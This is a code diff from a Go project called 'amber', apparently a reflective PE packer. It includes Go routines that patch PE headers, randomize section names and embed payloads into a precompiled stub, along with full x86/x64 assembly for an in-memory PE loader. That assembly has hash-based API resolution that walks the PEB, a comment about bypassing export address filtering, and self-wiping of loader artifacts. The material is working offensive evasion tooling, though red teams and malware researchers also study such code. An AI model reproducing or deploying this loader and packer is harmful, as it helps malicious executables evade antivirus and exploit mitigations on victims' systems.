bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
break
case *pe.OptionalHeader64:
bp.ImageBase = hdr.ImageBase
bp.Subsystem = hdr.Subsystem
bp.SizeOfImage = hdr.SizeOfImage
bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
break
}
// Check for TLS callbacks !!!
fileSize, err := GetFileSize(bp.FullFileName)
if err != nil {
return err
}
bp.FileSize = fileSize
return nil
}
func getPEfileArchitecture(fileName string) (int, error) {
file, err := pe.Open(fileName)
if err != nil {
return 0, err
}
switch file.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
return 32, nil
case pe.IMAGE_FILE_MACHINE_AMD64:
return 64, nil
default:
return 0, errors.New("unsupported PE file architecture")
}
}
+83 -32
View File
@@ -23,37 +23,9 @@ func (bp *Blueprint) AssemblePayload() ([]byte, error) {
return nil, err return nil, err
} }
var stub string stub, err := bp.GetLoaderAssembly()
if err != nil {
switch bp.Architecture { return nil, err
case 32:
if bp.HasRelocData {
stub = LoaderX86
} else {
stub = FixedLoaderX86
}
if bp.IAT {
stub += IAT_API_32
} else {
stub += CRC_API_32
}
case 64:
if bp.HasRelocData {
stub = LoaderX64
} else {
stub = FixedLoaderX64
}
if bp.IAT {
stub += IAT_API_64
} else {
stub += CRC_API_64
}
} }
stub = strings.ReplaceAll(stub, ";", "\n;") stub = strings.ReplaceAll(stub, ";", "\n;")
@@ -67,9 +39,88 @@ func (bp *Blueprint) AssemblePayload() ([]byte, error) {
return append(payload, stubBin...), nil return append(payload, stubBin...), nil
} }
// GetLoaderAssembly returns the corresponding PE loader assembly code
// based on the given blueprint strunct
func (bp *Blueprint) GetLoaderAssembly() (string, error) {
var stub, dllPrologue string
if bp.IsDLL {
switch bp.Architecture {
case 32:
dllPrologue = `
mov rcx,r13 ; hinstDLL
mov rdx,0x01 ; fdwReason
xor r8,r8 ; lpReserved
`
case 64:
dllPrologue = `
push edi ; AOE
sub [esp],eax ; hinstDLL
push 0x01 ; fdwReason
push 0x00 ; lpReserved
`
default:
return "", errors.New("invalid architecture selected")
}
} else {
dllPrologue = ""
}
api, err := bp.GetAPIResolverBlockAssembly()
if err != nil {
return "", err
}
switch bp.Architecture {
case 32:
if bp.HasRelocData {
stub = LoaderX86
} else {
stub = FixedLoaderX86
}
case 64:
if bp.HasRelocData {
stub = LoaderX64
} else {
stub = FixedLoaderX64
}
default:
return "", errors.New("invalid architecture selected")
}
return fmt.Sprintf(stub, api, dllPrologue), nil
}
// GetAPIResolverBlockAssembly returns the corresponding API resolver block assembly code
// based on the given blueprint strunct
func (bp *Blueprint) GetAPIResolverBlockAssembly() (string, error) {
switch bp.Architecture {
case 32:
if bp.IAT {
return IAT32, nil
}
return CRC32, nil
case 64:
if bp.IAT {
return IAT64, nil
}
return CRC64, nil
default:
return "", errors.New("invalid architecture selected")
}
}
// AddCallOver function adds a call instruction over the end of the given payload // AddCallOver function adds a call instruction over the end of the given payload
// address of the payload will be pushed to the stack and execution will continiou after the end of payload // address of the payload will be pushed to the stack and execution will continiou after the end of payload
func (bp Blueprint) AddCallOver(payload []byte) ([]byte, error) { func (bp *Blueprint) AddCallOver(payload []byte) ([]byte, error) {
// Perform a shport call over the payload // Perform a shport call over the payload
call := fmt.Sprintf("call 0x%x", len(payload)+5) call := fmt.Sprintf("call 0x%x", len(payload)+5)
View File
+201
View File
@@ -0,0 +1,201 @@
package amber
import (
"bytes"
"encoding/base64"
"encoding/binary"
"errors"
"fmt"
"io"
"io/ioutil"
"os"
"strings"
pe "github.com/EgeBalci/debug/pe"
)
// CompileStub generates the final stub file with given payload
func (bp *Blueprint) CompileStub(payload []byte) ([]byte, error) {
tmpStub, err := ioutil.TempFile(os.TempDir(), "amber_")
if err != nil {
return nil, err
}
defer os.Remove(tmpStub.Name())
stub := []byte{}
if bp.CustomStub != nil {
stub = bp.CustomStub
} else {
switch bp.Architecture {
case 32:
stub, err = base64.StdEncoding.DecodeString(STUB32)
case 64:
stub, err = base64.StdEncoding.DecodeString(STUB64)
}
}
if bp.IAT && !bp.checkRequiredIATFuncs(stub) {
return nil, errors.New("selected stub does not support IAT resolver API")
}
tmpStub.Write(stub)
tmpStubPE, err := pe.Open(tmpStub.Name())
if err != nil {
return nil, err
}
var sizeOfImage, fileAlignment uint32
lastSection := tmpStubPE.Sections[tmpStubPE.NumberOfSections-1]
switch tmpStubPE.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader32)
sizeOfImage = hdr.SizeOfImage
fileAlignment = hdr.FileAlignment
break
case pe.IMAGE_FILE_MACHINE_AMD64:
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader64)
sizeOfImage = hdr.SizeOfImage
fileAlignment = hdr.FileAlignment
break
}
// Edit the pre-compiled EXE stub header values by replacing raw bytes
// Change Subsystem
stub, err = setSubsystem(stub, bp.Subsystem)
if err != nil {
return nil, err
}
// Change SizeOfImage
stub, err = setSizeOfImage(stub, bp.SizeOfImage+sizeOfImage)
if err != nil {
return nil, err
}
// Randomize last section name
lastSectionOffset := bytes.Index(stub, []byte(lastSection.Name))
newSectionName := "." + randomString(7) // Randomize the section name
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], []byte(lastSection.Name), []byte(newSectionName), 1)...)
oldBytes := make([]byte, 4)
newBytes := make([]byte, 4)
// Change SectionVirtualSize
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.VirtualSize))
binary.LittleEndian.PutUint32(newBytes, uint32(len(payload)))
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
// Change SectionRawSize
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.Size))
binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment))
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
// Align section size
eofTamper := make([]byte, align(uint32(len(payload)), fileAlignment)-uint32(len(payload)))
for i := range eofTamper {
eofTamper[i] = 0x00
}
payload = append(payload, eofTamper...)
// Replace the section data with the reflective payload
oldSectionData, err := lastSection.Data()
if err != nil {
return nil, err
}
stub = bytes.Replace(stub, oldSectionData, payload, 1)
return stub, nil
}
func align(size, align uint32) uint32 {
if 0 == (size % align) {
return size
}
return size + (align - (size % align))
}
func (bp *Blueprint) checkRequiredIATFuncs(stub []byte) bool {
if !strings.Contains(string(stub), "LoadLibrary") || !strings.Contains(string(stub), "GetProcAddress") {
return false
}
if bp.HasRelocData {
if !strings.Contains(string(stub), "VirtualAlloc") {
return false
}
} else {
if !strings.Contains(string(stub), "VirtualProtect") {
return false
}
}
if bp.Architecture == 64 {
if !strings.Contains(string(stub), "FlushInstructionCache") {
return false
}
}
return true
}
// Change the SubSystem header value of given raw PE file with newSubSystem
func setSubsystem(peFile []byte, newSubSystem uint16) ([]byte, error) {
ntHeaderOffset, err := getNtHeaderOffset(peFile)
if err != nil {
return nil, err
}
subSystemBytes := make([]byte, 2)
binary.LittleEndian.PutUint16(subSystemBytes, newSubSystem)
return append(append(peFile[:ntHeaderOffset+0x5c], subSystemBytes...), peFile[ntHeaderOffset+0x5e:]...), nil
}
// Change the SizeOfImage header value of given raw PE file with newSizeOfImage
func setSizeOfImage(peFile []byte, newSizeOfImage uint32) ([]byte, error) {
ntHeaderOffset, err := getNtHeaderOffset(peFile)
if err != nil {
return nil, err
}
sizeOfImageBytes := make([]byte, 4)
binary.LittleEndian.PutUint32(sizeOfImageBytes, newSizeOfImage)
return append(append(peFile[:ntHeaderOffset+0x50], sizeOfImageBytes...), peFile[ntHeaderOffset+0x54:]...), nil
}
// Change the ImageBase header value of given raw PE file with newImageBase
func setImageBase(peFile []byte, newImageBase uint64) ([]byte, error) {
r := bytes.NewReader(peFile)
f := new(pe.File)
sr := io.NewSectionReader(r, 0, 1<<63-1)
ntHeaderOffset, err := getNtHeaderOffset(peFile)
if err != nil {
return nil, err
}
sr.Seek(int64(ntHeaderOffset+4), 0)
if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil {
return nil, err
}
switch f.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
imageBaseBytes := make([]byte, 4)
binary.LittleEndian.PutUint32(imageBaseBytes, uint32(newImageBase))
return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x34:]...), nil
case pe.IMAGE_FILE_MACHINE_AMD64:
imageBaseBytes := make([]byte, 8)
binary.LittleEndian.PutUint64(imageBaseBytes, newImageBase)
return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x38:]...), nil
default:
return nil, fmt.Errorf("unsupported COFF file header machine value of 0x%x", f.FileHeader.Machine)
}
}
// Get the NT_IMAGE_HEADER offset of the given raw PE file
func getNtHeaderOffset(peFile []byte) (uint32, error) {
ntHeaderOffset := binary.LittleEndian.Uint32(peFile[0x3c:0x40])
if !(peFile[ntHeaderOffset] == 'P' && peFile[ntHeaderOffset+1] == 'E' && peFile[ntHeaderOffset+2] == 0 && peFile[ntHeaderOffset+3] == 0) {
return 0, fmt.Errorf("invalid PE COFF file signature of %v", ntHeaderOffset)
}
return ntHeaderOffset, nil
}
+97
View File
@@ -0,0 +1,97 @@
package amber
// CRC64 https://github.com/EgeBalci/CRC32_API
const CRC64 = `
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, gs:[rdx+0x60] ; Get a pointer to the PEB
mov rdx, [rdx+0x18] ; Get PEB->Ldr
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+0x4A]; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 r9d,al ; Calculate CRC3
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+0x20] ; Get this modules base address
mov eax, dword [rdx+0x3C]; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+0x18],0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+0x88] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+0x18]; Get the number of function names
mov r8d, dword [rax+0x20]; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
mov r9, [rsp+8] ; Reset the current module hash
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
crc32 r9d,al ; Calculate CRC32
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+0x24]; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+0x1C]; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; Pop off the return address
sub rsp, 0x20 ; Reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; Push back the return address
jmp rax ; Jump to required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
`
+89
View File
@@ -0,0 +1,89 @@
package amber
// CRC32 https://github.com/EgeBalci/CRC32_API
const CRC32 = `
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, fs:[eax+0x30] ; Get a pointer to the PEB
mov edx, [edx+0xC] ; Get PEB->Ldr
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 edi,al ; Calculate CRC32 value
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+0x10] ; Get this modules base address
mov ecx, [edx+0x3C] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [ecx+edx+0x78] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+0x20] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+0x18] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
mov edi, [ebp-8] ; Reset the current module hash
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+0x24] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+0x1C] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Puh back the return address
jmp eax ; Properly call the required function for EAF bypass
ret
; We now automagically return to the correct caller...
get_next_mod: ;
pop edi ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
`
+112
View File
@@ -0,0 +1,112 @@
package amber
// FixedLoaderX64 contains the 64 bit PE loader for non-relocatable PE files
const FixedLoaderX64 = `
start:
pop rsi ; Get the address of image to rsi
call get_ip ; Push the current EIP to stack
get_ip:
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
push rax ; Allocate 8 bytes for lpflOldProtect
mov r9,rsp ; lpflOldProtect
mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE
mov rdx,qword [rsp+8] ; dwSize
mov rcx,rbx ; lpAddress
mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
xchg rsp,rbp ; Swap shadow stack
call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
xchg rsp,rbp ; Swap shadow stack
xor rax,rax ; Zero EAX
xor r14,r14 ; Zero R14
xor r15,r15 ; Zero R15
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to RAX
jmp get_modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to RAX
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving stage is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get API address with hint
jmp insert_iat ; Insert the address of API to IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to RAX
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(RCX,RDX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rax ; ...
pop rcx ; Pop the image_size to RCX
push rbx ; Push the new base adress to stack
add [rsp],r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov byte [rbx],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rbx ; Increase image base index
loop memcpy ; Loop until zero
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
%s
ret ; Return to AOE
`
+121
View File
@@ -0,0 +1,121 @@
package amber
// FixedLoaderX86 contains the 64 bit PE loader for non-relocatable PE files
const FixedLoaderX86 = `
start: ;
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call get_ip ; Push the current EIP to stack
get_ip:
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push ebx ; Save image base to stack
push 0x00000000 ; Allocate a DWORD variable inside stack
push esp ; lpflOldProtect
push 0x40 ; PAGE_EXECUTE_READWRITE
push dword [esp+0x14] ; dwSize
push ebx ; lpAddress
push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
pop eax ; Fix the stack
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov byte [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
%s
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
jmp edi ; Call the AOE
`
+102
View File
@@ -0,0 +1,102 @@
package amber
// IAT64 https://github.com/EgeBalci/IAT_API
const IAT64 = `
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx,rdx ; Zero rdx
mov rdx,gs:[rdx+0x60] ; Get a pointer to the PEB
mov rdx,[rdx+0x18] ; Get PEB->Ldr
mov rdx,[rdx+0x20] ; Get the first module from the InMemoryOrder module list
mov rdx,[rdx+0x20] ; Get this modules base address
push rdx ; Save the image base to stack (will use this alot)
add dx,word [rdx+0x3C] ; "PE" Header
mov edx,dword [rdx+0x90]; Import table RVA
add rdx,[rsp] ; Address of Import Table
push rdx ; Save the &IT to stack (will use this alot)
mov rsi,[rsp+8] ; Move the image base to RSI
sub rsp,0x10 ; Allocate space for import descriptor counter & hash
sub rdx,0x14 ; Prepare import descriptor pointer for processing
next_desc:
add rdx,0x14 ; Get the next import descriptor
cmp dword [rdx],0 ; Check if import descriptor is valid
jz not_found ; If import name array RVA is zero finish parsing
mov rsi,[rsp+0x10] ; Move import table address to RSI
mov si,[rdx+0xC] ; Get pointer to module name string RVA
xor rdi,rdi ; Clear RDI which will store the hash of the module name
loop_modname:
xor rax,rax ; Clear RAX for calculating the hash
lodsb ; Read in the next byte of the name
cmp al,'a' ; Some versions of windows use lower case module names
jl not_lowercase ;
sub al,0x20 ; If so normalize to uppercase
not_lowercase:
crc32 edi,al ; Calculate CRC32 of module name
crc32 edi,ah ; Feed NULL for unicode effect
test al,al ; Check if end of the module name
jnz loop_modname ;
; We now have the module hash computed
mov [rsp+8],rdx ; Save the current position in the module listfor later
mov [rsp],edi ; Save the current module hash for later
; Proceed to itterate the export address table,
mov ecx,dword [rdx] ; Get RVA of import names table
add rcx,[rsp+0x18] ; Add the image base and get the address of import names table
sub rcx,8 ; Go 4 bytes back
get_next_func: ;
mov rdi,[rsp] ; Reset module hash
add rcx,8 ; 8 byte forward
cmp dword [rcx],0 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,dword [rcx] ; Get the RVA of func name hint
btr rax,0x3F ; Check if the high order bit is set
btr rsi,0x3F ; Check if the high order bit is set
jc get_next_func ; If high order bit is not set resolve with INT entry
add rsi,[rsp+0x18] ; Add the image base and get the address of function name hint
add rsi,2 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
; And compare it to the one we want
loop_funcname:
xor rax,rax ; Clear RAX
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32 of the function name
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp edi,r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,dword [rdx+0x10]; Get the RVA of current descriptor's IAT
mov edx,dword [rdx] ; Get the import names table RVA of current import descriptor
add rdx,[rsp+0x18] ; Get the address of import names table of current import descriptor
sub rcx,rdx ; Find the function array index ?
add rax,[rsp+0x18] ; Add the image base to current descriptors IAT RVA
add rax,rcx ; Add the function index
; Now clean the stack
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop r8 ; Clear off the import table address of last module
pop r8 ; Clear off the image base address of last module
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; Pop off the return address
